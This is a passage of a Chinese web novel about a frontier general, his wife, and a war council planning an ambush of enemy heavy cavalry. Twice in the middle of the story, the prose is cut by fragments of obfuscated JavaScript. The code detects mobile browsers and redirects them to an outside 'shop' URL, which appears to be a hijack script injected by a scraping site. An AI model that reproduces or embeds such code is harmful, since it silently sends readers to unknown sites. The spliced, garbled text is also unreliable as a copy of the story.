,还有几个白面馒头。即便是没有胃口,她还是拿起筷子吃了起来。她吃得很慢,每一口都嚼了又嚼才咽下去。 而顾恩则离开了军帐,来到了不远处那条从清川河引来的溪流边。他脱掉了铠甲,褪去了衣衫,走进了冰凉的河水中,破天荒地仔细洗了个澡。 月光洒在水面上,碎成一片片银鳞。西疆戍边的男人从不在意这些,可今晚不一样——他要洗掉一身的汗臭和血腥,洗掉两年来所有的疲惫和风尘,干干净净地回到她身边。 军帐里的顾大夫人,吃完了饭后,用水将身体仔细地擦洗干净——那是胡风提前备好的热水,兑好了凉水调到恰好温热的温度。 她换上一件从京城带来的白色睡袍,把长发也从发髻里散开,披散在背上。 然后她坐在床沿上,拿起丈夫脱下的那件中衣,就着灯下,开始替他缝补肩头的一道裂口。她虽然已三十五岁,本就模样极好,除了因为儿子去世眼角多了几丝细纹,加之她皮肤白,在灯下看起来依然清秀温婉。 她缝衣衫的姿态安静而专注,仿佛时光倒流回了十八年前,她还是那个刚嫁给他的新妇,坐在灯下给他补衣裳,等他下值回家。 把自己洗干净了的顾恩,掀开帐帘走了进来。他的头发还滴着水,衣襟松松地敞着,身上带着河水清凉的气息。 他站在门边,看着烛火下正在给自己补衣衫的妻子——她低着头,长发垂在肩侧,白色的睡袍在烛光里泛着柔光,手指捏着针线一起一落。他突然觉得好温暖。 在这座满是风沙和刀兵的边关,在这座他守了三十几年以为早已不需要温度的地方,这一点烛火、一个缝衣的女人,就把他所有的坚硬都融化了。 顾大夫人依旧没有抬头,可她知道丈夫就站在门边。她从灯火的晃动、从空气里那熟悉的皂角味和河水味、从十八年的默契里感知到了。她没有抬眼,只是一边继续缝着最后一针一边说道:“站在那里做什么,我又不是老虎,还能把你吃了不成。快过来坐下。” 顾恩听了,嘴角微微扬起。他伸手把军帐的门关严实了,走到妻子面前,站定。他高大的身影挡住了烛火,把她整个人笼罩在阴影里。 顾大夫人依旧没有抬头,只是手中的针线快了几分,迅速地把最后一道口子缝补完,针脚细密扎实。她低下头,用牙齿咬断了线头,打了一个结。 这才将衣衫抖了抖展平,站起身来,一双眼睛终于对上了丈夫的目光。 她先褪去丈夫身上的铠甲——肩甲、胸甲、护腕,一件一件地解开来叠在床头;然后褪去丈夫贴身的旧中衣,把那件刚缝好的、还带着她指尖余温的衣衫给他穿上。 她双手绕过他的腰间,为他系好衣带,动作轻柔而仔细,指尖在他的腰侧顿了顿。然后她才抬起头,认认真真地看着丈夫的眼睛,烛火在她眼底跳动。 她的声音很轻,却很坚定,带着三十五岁女人特有的从容和勇气:“我虽已三十五了,可我还想——夫君能够再给我一个孩子。这是母亲临行前的交代,也是我自己心里的话。” 顾恩紧紧抓住夫人的手,她的手在他粗糙的掌心里显得格外纤细柔软。他低下头,额头抵着她的额头,目光笔直地望进她的眼底,声音低沉而温柔:“夫人,为夫也正有此意。而且我刚才还特地去河边洗了个澡,把身上都洗干净了——我知道你爱干净。” 顾大夫人抬起头,看着丈夫那张近在咫尺的脸,眼神里满是温柔,嘴角浮起一抹连她自己都没有察觉的笑意。她的手抚上丈夫的胸口,隔着那件刚缝好的衣衫感受着他的心跳:“闻惯了你的汗臭味、脚气味,你突然洗干净了,我还不习惯呢。不过——干净些也好,以后在京城,我可以给夫君多洗几件衣裳,慢慢就习惯了。” 顾恩没有再说话。他一把将妻子抱起,轻轻地放在床榻上。床榻上的被褥是新晒过的,松软而温暖,带着西疆阳光的味道。他自己也压在了妻子的身上,手掌撑在她耳侧,低头看着身下这张他爱了十八年的脸。 烛火摇曳着,将两个人的影子投在帐壁上,忽长忽短,忽明忽暗。屋里流淌着夫妻之间温柔的呢喃,那是战场上淬过生死的人,最懂得珍惜的温度。 顾承宇、顾子衿和林太医坐在伙房的火堆旁,正吃着晚饭。 顾子衿端着碗,眼睛却不时往营帐的方向瞥,嘴角微微上扬;顾承宇低头扒饭,假装什么都没注意到;林太医喝了一口热汤,抬头看了看营地中央那两顶离得很远的军帐,又看了看面前这两个努力装作若无其事的少年,轻轻摇了摇头,嘴角的胡子微微翘起,什么也没说。 46. 所有部下包括伙夫,都是他的命 日光升起,西疆的晨光从狼牙关隘的烽火台上倾泻而下,照在中军帐那面被风沙磨旧了的旌旗上。 上至大将军,下至各个校尉,所有将领都集中在帐中,围着那座巨大的沙盘站成了密不透风的一圈。帐内鸦雀无声,只听见将领们粗重的呼吸和沙盘边缘偶尔被碰到的轻微声响。 军师薛敬手持一根细长的竹竿,竿尖指向沙盘上那道蜿蜒的防线,开始进行排兵布阵的分析。他的声音沉稳而清晰,在大帐里回荡。 他说西夷军队若想突破西疆屏障,进入西疆身后那沃野千里的中原,必须接连突破两道关隘。这两道关隘,就是宁国西疆的门户,也是中原最后的屏障。 第一关是狼牙关隘。狼牙关隘算是易守难攻之地,两侧山壁如刀削斧劈,中间只有一条狭窄的通道,地势极为险峻,常规的阵法根本无法在此摆开。 但正因如此,更需要因地制宜,因势利导。必须在这里,把西夷王引以为傲的十万黑色铁骑彻底消灭。如果不就此消灭这支铁骑,一旦让他们突破关隘进入后方开阔地带,阳城关在重甲骑兵面前便如纸糊一般,整个中原都将暴露在敌人的铁蹄之下,届时宁国危矣! 第二关是阳城关隘。阳城关地势相对平坦开阔,易攻难守,是一道宽大的门廊,守军没有任何地利可以依仗。这里需要集结大量兵力,依靠精妙的阵法,依靠士兵近身肉搏,用血肉之躯形成人墙,堵住敌军推进的脚步。更需要步兵、弓箭手、各种器械之间精密配合,缺一不可。倘若能在狼牙关隘成功灭掉敌人的铁骑,那么阳城关便只需收拾残局,直接便能取胜。可一旦狼牙关隘守不住,让铁骑冲到了这里,阳城关便会陷入绝境——平坦的地势将成为重甲骑兵肆意碾压的屠宰场,守军几乎没有生还的可能。 各位副将、校尉个个面色严肃,目光紧紧盯着沙盘上那密密麻麻的敌我态势。 顾承宇立于父亲身边,沉着眸子,一言不发地凝视着沙盘。这是他第三次以少将军的身份站在中军帐中参与军议,每一次都比上一次更沉默,每一次也都比上一次看得更远。 大将军顾恩环视帐中一圈,开始进行军事战略安排。他的声音不高,却每个字都像是往沙盘上钉下一枚钉子,不容置疑。 第一关狼牙关隘,由他自己亲自率领精锐去围截敌人的黑色铁骑。顾副将和钱副将分为左右两翼,关隘上的弓箭手、落石、投石车相互配合,形成立体火力网。他重重地拍了一下沙盘边缘,震得几面小旗晃了几晃:“我们一定拼死守住关隘,不让一骑越过。” 第二关阳城关隘,由顾典为主力,颜副将、余副将等为左右两翼,利用长蛇阵首尾相顾、鹰阵两翼包抄的阵型,骑兵、步兵、长枪兵相互配合,在此地把突破第一道防线后残余的敌人彻底消灭干净。他的安排干脆利落,每一个位置都点到了具体的人,每一个阵型都说清了用途。 顾恩就是这样——每一次打仗,他都是自己领兵冲在最前面,将自己放在最危险的境地。狼牙关隘,那个要用血肉之躯去硬顶十万铁骑的地方,他从来没有交给过别人。 而他的部下、他的兄弟,都被他安排在相对靠后的第二道防线。无论是副将还是士兵,只要有人陷入危险,他都会毫不犹豫地冲上去营救——他曾经为了救一个被敌军围困的校尉,单枪匹马杀入敌阵,背上多添了一道刀痕;也曾经为了把一队被切断退路的步兵带回来,亲自断后,腿上中了一箭却硬是撑到了所有人都安全撤出才倒下。 各位副将和军师听了,都强烈反对。帐中一下子炸开了锅,几个头发花白的老将更是直接拍了沙盘。 军师薛敬厉声说道,他的额头青筋凸起,竹竿啪地敲在沙盘边沿:“大将军!你乃是顾家军的魂魄!三军可以没有我这个军师,可以没有任何一个副将,但不能没有你!你必须留在相对安全的阳城关隘——只要你还活着,顾家军的军旗就不会倒,将士们的心就不会散。我薛敬虽然是一介书生,但也跟着你打了二十几年的仗。这次我亲自领兵去狼牙关隘堵截敌人的铁骑!” 各位副将也争先恐后地大声请战,一个比一个嗓门大:“将军!每次打仗,我们都躲在你身后,你说这算是什么事?我们又不是你的娃娃!我们是你的部将,是跟着你出生入死的兄弟!这次敌人来势汹汹,五部联军,铁骑十万,必须是我们冲在最前面,必须是我们去守最危险的狼牙关隘!” 几位须发全白的老将,更是从人群中挤到最前面,跳起来拍着胸脯说道,声音苍老却中气十足:“大将军!要去堵截西夷那个老贼的黑色铁骑,也应该是我们这几把老骨头去!反正我们也是黄土快埋到脖子的人了,早就不怕死了。你还年轻,还能带着顾家军多抵御几年敌人。让我们去——死在战场上,总比将来死在床上强!” 顾恩缓缓扫视了一圈争论不休的副将和军师。他的目光从每一张脸上掠过,那些脸——有的跟了他二十来年,有的跟了他十年,有的才刚刚从父亲手里接过来;还有那几张须发全白的老脸,那是跟着老侯爷打了一辈子仗的人,身上的伤疤比他还多。 片刻之后,他开口了,声音不高,却有一种不容任何人反驳的沉定:“这是老侯爷定下的规矩。从我父亲那辈起,每次打仗,顾家的将军必须冲在最前面。如果顾家将军倒下了,再由你们去冲锋。你们是本将军的部下,本将军除了要打赢这场仗,还要尽最大的力量让你们活着——让你们活着回去,见你们的父母,见你们的妻儿。你们的命,不是我顾恩用来换战功的筹码。” 顾典猛地从人群中跳到大哥面前,胸膛几乎撞上大哥的胸口。他的眼眶发红,声音比任何人都大,脖子上的青筋都跳了起来:“每一次打仗,你都把自己放在最危险的境地,把我们护在身后!你看看你的后背和前胸——哪里还有一块好皮?刀疤叠着箭伤,旧痕上压着新痂。昨晚,嫂子又哭了很久吧!我也是顾家的将军,我身上也流着顾家的血!这一次必须我冲在最前面,你留在阳城关!” 顾恩一把揪住弟弟的衣襟,将他整个人拽到自己面前。兄弟俩近得能感受到对方呼吸的热气。顾恩的声音压得很低,每一个字都像是从牙缝里挤出来的:“你放肆!竟然敢在兄长面前大喊大叫。长兄如父——父亲不在了,你就得听我的。你有冲在最前面的时候。”他顿了顿,目光笔直地戳进弟弟的眼睛深处,“那就是我阵亡了。你接过父亲的战刀,继续冲在最前面。如果你也阵亡了,就由承宇接过战刀,继续冲在最前面。顾家的男人,只要还有一个活着,就得扛起战刀冲在最前面。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618726|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 站在中军帐外,正准备给帐中诸将送些点心的顾大夫人、顾二夫人和顾子衿,听到这里,都泪流满面。 顾二夫人一手端着点心盘子,一手用袖子捂着嘴,肩头一抽一抽的。 顾子衿站在那里,手指攥紧了食盒的提梁。 而顾大夫人却没有流泪,因为她太了解自己的丈夫了。 昨晚,她与丈夫温存完后,她在灯下把丈夫的前胸和后背一寸一寸地看了又看。 那上面,没有一块完整的皮肤——刀疤叠着箭伤,旧痕上压着新痂,肩胛处有一道从肩头一直延伸到肋下的旧刀痕,肋骨旁还有一处箭伤留下的深紫色凹陷,后背更是密密麻麻地布满了大大小小的伤疤,像一张被反复撕裂又缝合的旧皮囊。 她趴在丈夫的怀里,用手一一抚摸那些伤口,心疼地哭了很久很久,泪水浸湿了他胸膛上那些早已不疼了的旧伤。 顾恩紧紧抱着她,轻描淡地说了句:“如果一个将军身上没有刀疤,那他就不是一个将军。这些伤都是我的勋章。” 中军帐里,顾典、军师、副将们争夺前锋的声音还在继续。十几个人谁也不肯退后半步。 顾恩缓缓扫视了帐中一圈。然后他伸手握住腰间那把战刀——那是老侯爷传下来的,刀柄上缠着的牛皮已经被磨得发亮。 他猛地拔出战刀,刀身与刀鞘摩擦发出一声清脆而凌厉的咔嚓声,那声音响彻在整个中军帐中,如一声炸雷,把所有的争吵都拦腰斩断。 他把战刀狠狠插进脚边的地面,刀尖刺穿沙土,刀身嗡嗡作响。然后他站直了身子,不言不语,只是用那双冷峻如铁的目光缓缓扫过在场每一个人的脸。那目光里没有怒意,却比任何怒吼都更让人不敢违抗。各位争吵的人立马停了下来。 这就是顾恩的威严。这就是他能够率领千军万马、在边关一守几十年的原因。他不是靠官职压人,不是靠权谋驭下,而是靠这几十年来每一次都冲在最前面、每一道疤都替部下挡了的铁骨。 大家看着顾恩,都默默不语。顾恩看着众人,一字一顿地说:“军令如山。如果大家不听从将帅的指挥,军法论处——不管是谁,不管跟了我多少年,军法面前,没有情面。” 帐中诸将不再争辩,只是齐刷刷地站直了身子,目光望向他们的将军。那里面有敬,有服,也有一种只有同生共死过的人才能读懂的承诺。他们知道劝不动他,也知道这份固执正是他们誓死追随的原因。 为何顾家军能战无不胜? 为何顾家军上下团结一心如臂使指? 不是因为什么神出鬼没的厉害阵法,不是兵书上翻阅不到的高超战略。 那是因为顾恩把每一个部下、把每一个士兵都当成人——不是一个阵型中可以牺牲的数字,不是一封捷报中可以抹去的名字,而是一个个有血有肉、有家有口的人。 上至副将,下至伙夫,都是他的命根子。他爱护部下,那可是出了名的。不要说副将陷入危险他会去营救,就是一个烧火的伙夫陷入敌阵,他都会毫不犹豫地翻身上马,亲自冲进去把他捞出来。 这种事他干过不止一次,每一次都让那些被他救回来的人哭得像个孩子。 人心齐了,自然坚不可摧,战无不胜。 47. 中军帐里,讨论仗的打法 而顾承宇,自始至终一直沉默不语。他站在父亲身后,那双酷似老侯爷的眼睛沉静如水,眉头微微蹙着,目光在沙盘上反复地逡巡,手指在腰间的剑柄上轻轻摩挲。 他在听,他在看,他在想——这是他作为少将军第三次列席军议。 薛敬注意到了这个年轻人的沉默。他在顾承宇身上看到了顾恩年轻时的影子——同样的英武,同样的沉稳,却又隐隐觉得这个少年和父亲有些不同。 顾恩的刚烈如同烈火,而顾承宇的锋芒却像是藏在鞘中的刀,不动声色,却自有主张。 他抬起竹竿,点了点沙盘一角,温声问道:“承宇,你是少将军,将来这面军旗是要交到你手里的。你对此战有何看法?不妨说来听听。” 顾承宇抬起头,目光从沙盘上移开,扫过帐中诸将,最后落在父亲身上。 他的声音不高,却异常清晰,带着一种不属于他这个年纪的沉稳与笃定:“这次西夷王集结五部兵力,全是各部精锐。尤其是他的黑色铁骑——那是重甲骑兵,人马俱甲,冲击力极强。狼牙关隘地势险峻,我们若用士兵的尸体去硬顶铁骑,就是拿将士们的命去换一场惨胜。” 他顿了顿,手指指向沙盘上那片标注着敌军骑兵位置的区域,说出了自己的判断:“强攻伤亡太大,只能智取。” 薛敬的眼睛微微一亮,追问道:“说说你的看法。” 顾承宇的手指在沙盘上画了一条线,将那片代表黑色铁骑的黑旗圈了起来:“把大的力量,化为小的力量,然后再各个击破——就是把大的困难,化成几个小的困难。西夷王素来刚愎,擅长速战速决,讲究以雷霆之势压垮对手。我们可以利用他这一点。他的黑色铁骑虽然冲击力强,但重甲骑兵机动性差,一旦脱离主力侧翼的保护便容易被分割围歼。 我军可以悄悄派出几支精锐小队,在狼牙关隘前,从侧翼穿插,将黑色铁骑与他的主力分割开来。这样一来,西夷王引以为傲的整体力量就会分散,他的铁骑不再是铁板一块,而是被切成几块孤立的孤军。孤军深入我军腹地,再精锐的部队也只能被一口一口地吃掉。 再有,据我所知,西夷的战马,主要吃的是一种炒熟的黑色豆子。我们可以准备一些豆子,炒得喷香,让分割的队伍趁机洒在西夷黑色铁骑的队列旁。战马闻到熟悉的豆香便会停蹄不前,争相抢食,阵列自乱。 重甲骑兵最倚仗的就是严整的冲锋队形,一旦马匹失控,铁骑便成了一堆穿着重甲的活靶子。 另外,此时正值夏日,西疆风向上主要是东南风,我们可以在风上做文章——在风口处点燃湿草,以浓烟熏敌,马匹受惊,士兵也睁不开眼。” 他说到这里,微微抬起眼,目光沉静而坦然,“打仗嘛,只要能取胜,能让我军少死一个人,什么法子皆可用上。让敌人死在阴谋里,好过让我们的将士死在冲锋的路上。” 顾恩与顾承宇相反。他一向认为打仗靠的是真本事,真刀真枪,用下作手段即使赢了也不光彩。从他父亲老侯爷起,顾家打仗就从来没有用过阴谋诡计。 可当他看着儿子那双清澈而坚定的眼睛,听着他说“让敌人死在阴谋里,好过让我们的将士死在冲锋的路上”,心里那堵坚守了三十几年的墙,忽然有了一丝松动。 他突然意识到——对敌人用阴险招数,不是耻辱,而是一种更深的担当。只要能让自己手下的兵少死一个,什么手段都值得。 顾恩听着,目光重新落回沙盘上。他没有说好,也没有说不好,只是用那只布满老茧的手指点了点沙盘上儿子方才比划过的那条路线。片刻之后,他抬起头,看着顾承宇:“你详细说来。哪几支精锐,从哪里穿插,怎么分割,怎么合围——把你的想法,全部说出来。” 顾承宇的手指点回沙盘,将他心中盘算了许久的方案一层一层地剥开:“我们先悄悄派出两股主力队伍,趁着夜色掩护,藏匿于狼牙关隘两侧的山壁之后和灌木丛中,埋伏待命。 等到西夷铁骑进入狼牙关隘前的狭窄通道,先用烟雾——在东南风口点燃湿草,让浓烟顺着风向往敌军阵列中灌入,熏其人马,遮蔽其视线;派一队人马趁机向铁骑阵列旁抛洒炒得喷香的黑豆,战马闻香便会停蹄不前,争相抢食,阵列自乱。 此时,趁敌军阵脚大乱之际,派出十支精锐小队——五支精锐从铁骑左侧穿插,五支精锐从铁骑右侧穿插。将铁骑主力和铁骑分割开后,我军藏匿的一股主力迅速出击,攻打敌人的主力。 穿插的精锐对铁骑进行分割,分割时不以杀敌为目的,以砍马腿、断其机动为先,刀砍马蹄、斧劈马膝,把敌人的铁骑阵型一块一块地分割成互不相连的孤军。 分割完成后,埋伏在两侧的令一股主力突然发起袭击,集中优势兵力将被分割的铁骑逐一消灭干净。不过,不可恋战——消灭得差不多,便佯装力竭不敌,从关隘口向后撤离,给敌军造成我军溃退的假象。 此时,西夷王必然恼羞成怒,驱策残部乘胜追击,试图一举闯过狼牙关隘。而我军在通往阳城关的必经之路上,可以预先设置层层陷阱——挖陷马坑,坑中倒插削尖的木桩;设置绊马索,拉在两旁树石之间,高度恰好及马膝……只要能用得上的招数,全都给它用上。 等敌人的残兵被陷阱折腾得七零八落、锐气尽失之后,我军在阳城关下早已摆开阵势,长蛇阵正面迎敌,鹰阵两翼包抄,以逸待劳,以整击乱,将敌人彻底消灭干净。” 军师薛敬听着听着,竹竿在沙盘上随着顾承宇的讲述缓缓移动,从狼牙关隘一路画到阳城关,从烟雾、黑豆一路画到陷马坑和绊马索。他那双老眼中精光闪烁,频频点头,嘴角的胡子也翘了起来。 而那些打了半辈子仗的老副将们,也从最初的姑且听之变成了两眼放光,有人拍着沙盘的边缘激动地说了句“好小子,你这脑袋瓜子怎么长的”,有人掏出炭条在随身的小木板上奋笔疾书。 顾恩始终沉默不语,只用那双深邃如关山的眼睛看着儿子在沙盘上指点江山——少年沉静从容,每一个步骤都胸有成竹,每一种手段都坦坦荡荡。不是阴谋诡计,而是以最小的代价换取最大的胜利,以最少的鲜血守护最多的生命。 他忽然觉得,这个儿子,不仅仅是他的儿子,更是顾家军未来的希望。 顾大夫人、顾二夫人和顾子衿并未进入中军帐。她们三人站在帐外听了一会儿,听着里面那些“前锋”“铁骑”“阵亡”的话,听着丈夫和兄弟争着要去最危险的地方,听着顾恩拔出战刀插进地里那一声沉闷的回响,什么也没有说,只是默默地提起食盒,转身朝着军医处走去。 作为顾家的女人,她们虽然不能披甲上阵、冲锋陷阵,但也可以尽自己的力量,去照顾那些受伤的将士。顾家的男人在前方杀敌,顾家的女人便在后方救人——这一直是顾家不成文的规矩。 顾大夫人来过西疆三次,她见过战争的残酷——那些血肉模糊的伤口,那些在痛苦中嘶喊的年轻面孔,那些再也站不起来的腿和再也握不了刀的手。 她跟着军医们学过如何处理伤口,怎么用刀创水清洗创面防止感染,怎么把翻卷的皮肉对齐了缝合,怎么在包扎时既压紧止血又不影响血液流通。她的针脚细密而稳当,缝伤口比不少军医缝得还整齐。 顾子衿在林太医的教导下,也学会了这些——她背得下止血散的配方,认得清各种草药的药性,会用小镊子从伤口里夹出碎铁片和砂砾,只是还没有真正在伤员身上付出过实践。那些在太医院里反复练习了无数次的手法,那些在医书上翻烂了的方子,终于要从纸面落到血肉之上。 顾二夫人是三人中唯一一个没有来过西疆的。她嫁入顾家最晚,没有见过真正的战争。当她们踏进军医帐时,一股浓重的药味和血腥味扑面而来。帐中躺着几十个从边境巡防中受伤的士兵,有的缠着渗血的绷带,有的伤口还在化脓。 顾二夫人站在原地愣了一瞬,脸色白了几分,手指不自觉地攥紧了食盒的提梁。然后她深吸了一口气,把那口带着血腥味的热风硬生生吞进了肚子里,挽起袖子,走到了大嫂身边。她没有经验,但她有一双麻利的手和一颗不肯服输的心。 军医帐中,顾大夫人与顾子衿很快就参与到熬制药膏当中。顾大夫人站在药炉前,拿着长勺搅动着那一锅黑褐色的膏药,火候被她掌握得恰到好处——火大了药性会散,火小了膏不成形。 顾子衿蹲在一旁,用小石臼捣着止血的草药,药汁染绿了她的指尖,额上渗出了细密的汗珠。 而顾二夫人则坐在药柜前,手脚麻利地将晒干的草药分门别类,用黄纸包成一个个小包,再用麻线扎紧。那动作越来越熟练,从最初的小心翼翼到后来的行云流水,不过一盏茶的工夫。 阳光从帐顶的缝隙漏下来,照在三个女人的脸上,将她们额上的汗珠都照得亮晶晶的。 中军帐里,顾承宇说出他的想法后,便不再言语,只是默默地凝视着沙盘。他的手指在沙盘边缘轻轻叩着,一下,又一下,像在等什么。 军师薛敬拿着竹竿在沙盘上虚划了一道弧线,沉吟道:“现在已是仲夏,吹的是东南风,对我们有利。可如果西夷王拖到秋季再进攻,那吹的便是西北风。届时风向逆转,我们处于西北风的下风向,在风上做手脚的机会便落在了敌人手里。如果西夷王也在风上做手脚——在风口放烟、放毒、放火,对我们来说,只怕是够我们喝一壶的了。此事不可不防。” 顾承宇抬起头,目光沉静,没有半分被问住的慌乱:“如果西夷王选择秋季进攻,既然我们能想到在风上做手脚,他也一定想得到。那我们有所防备便是——预先在阵地后方挖掘避烟壕沟,储备浸湿的棉布掩住口鼻,在风口布设哨探随时预警。战场之上,没有算不到的招数,只有想不到的应对。” 薛敬不依不饶地追问道,竹竿在地图上的几个关键位置快速点了几下:“可如果西夷王选择此时进攻呢?凭借那老贼的老奸巨猾——他打了半辈子仗,什么手段没见过——他一定也想得到我们会在风上做手脚。那他必定有所防备,比如让骑兵以湿巾覆住马口鼻,比如选择逆风最小的时辰发动冲锋。如此一来,我们准备的那些烟雾和黑豆,岂不是白忙活了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618727|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾承宇神色不变,手指从沙盘上的狼牙关隘缓缓移到了两侧的悬崖峭壁上,沉声道:“如果这样,我们便换一种打法。仗是活的,人也是活的。一个打法被破解,便换另一个打法,总有他防不住的。” 顾典双手撑着沙盘边缘,凑近了些,急切地问道:“如何打?你说来听听。”他对这个侄子的脑子越来越服气了。 顾承宇的手指在悬崖的模型上重重一点:“那就用火烧。我们在狼牙关两岸的悬崖峭壁上,提前准备好大量的桐油,并用牛皮袋子装好封紧,堆在崖顶。在关隘两侧的崖壁上布置弓箭手,多备火箭和引火之物。 待到西夷的铁蹄进入关隘之下的狭窄通道,先派出几支轻装精锐,带着炒好的豆子从侧翼快速穿插,将豆子抛洒在铁骑的阵列之中。战马闻到豆香便会停蹄不前,争相抢食,任凭骑手如何鞭打也不肯前进,铁骑的冲锋队形必然混乱。 此时,悬崖上的士兵将装满桐油的牛皮袋奋力抛向铁骑队伍的头顶,弓箭手随即开弓——用普通的箭矢将空中下落的牛皮袋射破,让桐油当头洒下,浇在铁骑的队伍当中。 桐油一经沾身便极难甩脱,黏在铠甲上、马背上、地面上。这时,弓箭手迅速换上火箭,朝那片被桐油浸透的区域射去。火箭一触桐油,便会瞬间燃起大火,整个铁骑队伍将成为一片火海。 重甲骑兵人马俱甲,一旦着火根本无法迅速脱身——铠甲被烧得滚烫,马匹受惊狂奔互相践踏,火借风势迅速蔓延,无论是西夷王的主力还是铁骑,都会惊慌失措。届时,我们事先埋伏在两侧的主力,便从两翼同时围攻混乱中的敌军,如同瓮中捉鳖。” 顾典听得两眼发亮,一巴掌拍在沙盘边缘,震得几面小旗跳了起来:“这个法子可行!这可比在风上做手脚更狠,直接给他来个火烧连营!那桐油烧起来神仙都灭不了——好,好好好,不愧是大哥的儿子!”话刚说完他又皱起眉头,咂了咂嘴,补了一句,“就是有点费桐油和费豆子。这么多桐油和豆子,得从后方调多少车来?” 其他副将听了,也纷纷点头附和。几位老将互相交换着眼神,目光里有惊叹也有欣慰——这小子连费桐油这种后勤上的细账都算进去了,果然是把打仗当成了精打细算的营生。如果按照这样的打法,先乱其阵脚,再引火破敌,最后伏兵合围,环环相扣,确实能大大减少我军的伤亡。 顾恩看着儿子,那张被风沙刻满了痕迹的脸上,依然没有太多的表情。他的目光与儿子的目光在沙盘上方交汇,一个如深潭般冷峻,一个如朗月般沉静。 他开口了,声音不疾不徐,却有一种只有经历过无数次生死鏖战的人才有的厚重:“战场之上,战事瞬息万变。虽然我们已经做好了详尽的作战计划,但战场上会出现一些我们无法预料的情况——天气突变、敌军临时改变部署、侧翼被意外突破、乃至一个小小的传令延误——这些都会打乱我们原本的作战计划。届时,白纸黑字的计划便是一张废纸,我们只能具体情况具体分析,临时想出制胜的法子。所以,计划要有,但脑子更要活。” 顾承宇抬头迎上父亲那双铁血的眼睛,目光毫不躲闪:“知己知彼,方能百战不殆。儿子愿意带领斥候,前去刺探敌军的军情——他们的实际兵力部署、黑色铁骑的具体位置、粮草辎重的存放地点、乃至西夷王的中军大帐设在何处。等把敌军的军情刺探清楚,再结合最新的军情来调整战略。只要我们掌控了大方向——狼牙关隘是第一道闸门,阳城关隘是最后的锁扣——作战时无论出现什么突发情况,各位副将和士兵们手中握有应对之策,心中明了进退之路,必定能临机应变,想出取胜的法子。” 军师薛敬微微颔首,竹竿在地面上轻轻顿了顿,声音里带着几分老军师的赞许:“承宇说得不错。我们先制定出各种战略,狼牙关怎么打,阳城关怎么守,用什么阵型,布什么陷阱,都让将士们了然于胸、反复操练到闭着眼睛都能执行。等到把敌人的军情刺探清楚,再来根据实际情况进行战略调整,该侧重哪里,该防备哪里,该在哪个环节加兵力,该在哪个环节省人马——这样获胜的把握更大。” 顾恩缓缓扫视了帐中一圈。他的目光从军师脸上移到副将们脸上,从顾典脸上移到顾承宇脸上。那一圈扫得很慢,像是在给每一张脸都烙上一个无声的命令。然后他开口了,声音不高,却字字如铁,掷地有声:“各位副将,带着手下的校尉、士兵,即刻开始操练,进行阵法的演练。长蛇阵首尾相顾的衔接、鹰阵两翼包抄的时机、步兵与弓箭手的配合、投石车与盾兵的站位——每一个环节都给我练到骨子里去,练到不需要传令就知道该怎么动。当然其他阵法也给本将练一练。” 他转过头,目光落在顾承宇身上,停了片刻:“顾承宇,带一队斥候,再去探一次敌军军情。不要太深入,也不要打草惊蛇。把你方才说的那些——铁骑的位置、粮草的存放、中军大帐的方位——都给我摸清楚,活着回来画在沙盘上。” 各位副将和顾承宇听罢,齐齐抱拳,铠甲碰撞发出一阵整齐而有力的金属声响,振得帐中烛火都晃了几晃:“末将领命!” 48. 活着的人,替回不来的人好好活着 从中军帐出来,日头开始西斜。西疆的夕阳总是格外壮阔,浑圆的落日悬在地平线上,将整片草原染成了暗金色。 营地里升起了几缕炊烟,远处传来士兵们操练归营的号角声和马嘶声。顾恩、顾典、顾承宇三人并排而行。当他们经过一片高大的树林时,顾承宇忽然停住了脚步。 这些树木树干粗糙皲裂,枝叶却异常茂盛,他静静地唤了一声:“父亲,二叔。” 顾恩和顾典闻声纷纷驻足,转过身来看着顾承宇。顾恩的目光沉静如常,顾典则微微偏着头,有些疑惑。 顾承宇从怀中掏出皇上的那一封信。那封信被他贴身放着,信封上盖着御玺的红印,一路上他片刻不曾离身,即使在马上颠簸时也时不时用手摸一摸胸口确认它还在。此刻他双手将信递到父亲面前,郑重地说道:“这是出征前陛下交给儿子的。陛下特意嘱咐,一定要亲手交到父亲您的手上。” 顾典看着顾承宇手上那封信,先是一愣,随后脸上浮现出一股难以抑制的愤怒。那愤怒来得极快,像一把被压了许久的火突然被捅开了通风口,烧得他胸口发烫。 他想起了妹妹那一年在冷宫中受的苦——整整一年的禁足,不能见任何人,不能踏出那道门半步。行健和子健被送去太后那里,母子分离,骨肉不得相见。他的妹妹呀,可是他和大哥、二哥、三哥捧在手心里的宝啊。顾家四个儿子,就这么一个女儿,从小是被全家宠着长大的。 她不过是因为回京给母亲过生辰,恰好参加了一次赛马会,便被皇上一道圣旨召进了宫里,从此与自由绝了缘,一辈子将在那冷清孤寂的皇宫里度过。 两年前他回京见到妹妹——那个曾经在西疆草原上策马驰骋,笑声能传出三里地的姑娘;那个弯弓射箭能一箭贯穿百步之外靶心的将门虎女;那个风沙吹不垮、烈日晒不蔫的顾家明珠——她的眼睛,已经没有了当初的星辰,变得安静而疏离,像一潭不起波澜的死水。 那冷清的皇宫啊,真是一把看不见的刀,不杀人,却一刀一刀地将他的妹妹从一个活泼明艳的美人,变成了如今这般冰冷沉静、仿佛被抽走了所有热气的样子。他的心痛啊,像被什么东西狠狠攥住了,每一次想起都觉得喘不上气。 